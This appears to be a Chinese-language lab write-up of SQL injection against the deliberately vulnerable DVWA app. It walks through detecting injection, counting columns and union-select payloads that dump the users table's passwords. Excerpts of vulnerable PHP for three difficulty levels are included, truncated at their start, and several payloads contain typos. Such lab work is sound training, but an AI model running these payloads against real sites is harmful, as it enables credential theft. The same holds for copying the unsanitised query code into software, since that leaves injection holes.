sql injection
sql injection 即 sql注入,指攻击者通过注入恶意的sql命令,破坏sql查询语句的结构,从而达到执行而已sql语句的目的。
sql注入的步骤
1.判断是否存在注入,注入是字符型还是数字型
2.猜解sql查询语句中的字段数
3.确定显示的字段顺序
4.获取当前数据库
5.获取数据库的表
6.获取表中的字段名
7.下载数据
猜数据库
select schema_name from information_schema.schemata
猜某库的数据表
select table_name from information_schema.tables where table_schema=' *****(数据库名)'#
猜某表的所有列
select column_name from information_schema.columns where table_name= ' *****(数据表名)'#
获取某列的内容
select *** from ***
LOW
'. mysql_error() . ''); //Get results $num = mysql_numrows( $result ); $i = 0; while($i < $num ) { //Get values $first = mysql_result( $result, $i, "first_name"); $last = mysql_result( $result, $i, "last_name"); //Feedbackforenduser echo "
ID: {$id}
First name: {$first}
Surname: {$last}
"; //Increase loop count $i++; } mysql_close(); } ?>
可以看到,Low级别的代码对参数id没有进行任何的检查与过滤。
因为无法看到后端代码,以下测试都在不知情的情况下进行。
1.判断是否存在注入,注入是字符型还是数字型。
输入1,查询成功:
输入 1' or '1234' = '1234 ,查询成功
返回多个结果,说明存在字符型注入
2.猜测sql查询语句中的字段数
输入1' or 1=1 order by 2 #,查询成功
输入1' or 1= 1 order by 3# 查询失败
说明sql查询语句中只有两个字段,First name,Surname
4.获取当前数据库
输入1' union select 1,database() #,查询成功
当前数据库名为dvwa
5.获取当前数据库的表
输入1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
说明数据库中一共两个表,guestbook与users。
6.获取表中的字段名
输入1' union selecct 1,group_cancat(column_name) from information_schema.columns where table_name='user' #
7.下载数据
输入1' or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password)from users#
这样就得到了users表中的所有用户的user_id,first_name,last_name,password的数据
medium
'. mysql_error() . ''); //Get results $num = mysql_numrows( $result ); $i = 0; while($i < $num ) { //Display values $first = mysql_result( $result, $i, "first_name"); $last = mysql_result( $result, $i, "last_name"); //Feedbackforenduser echo "
ID: {$id}First name: {$first}Surname: {$last}"; //Increase loop count $i++; } //mysql_close(); } ?>
以下拉列表形式,阻止输入注入,但依然可以通过抓包实行sql注入。利用burpsuit,操作和之上的一样。
利用了mysql_real_escape_string函数
mysql_real_escape_string(string,connection)
下列字符受影响:
\x00
\n
\r
\
'
"
\x1a
进行转义
high
服务器端核心代码
Something went wrong.'); //Get results $num = mysql_numrows( $result ); $i = 0; while($i < $num ) { //Get values $first = mysql_result( $result, $i, "first_name"); $last = mysql_result( $result, $i, "last_name"); //Feedbackforenduser echo "
ID: {$id}First name: {$first}Surname: {$last}
"; //Increase loop count $i++; } mysql_close(); } ?>
high级别的代码添加了LIMIT 1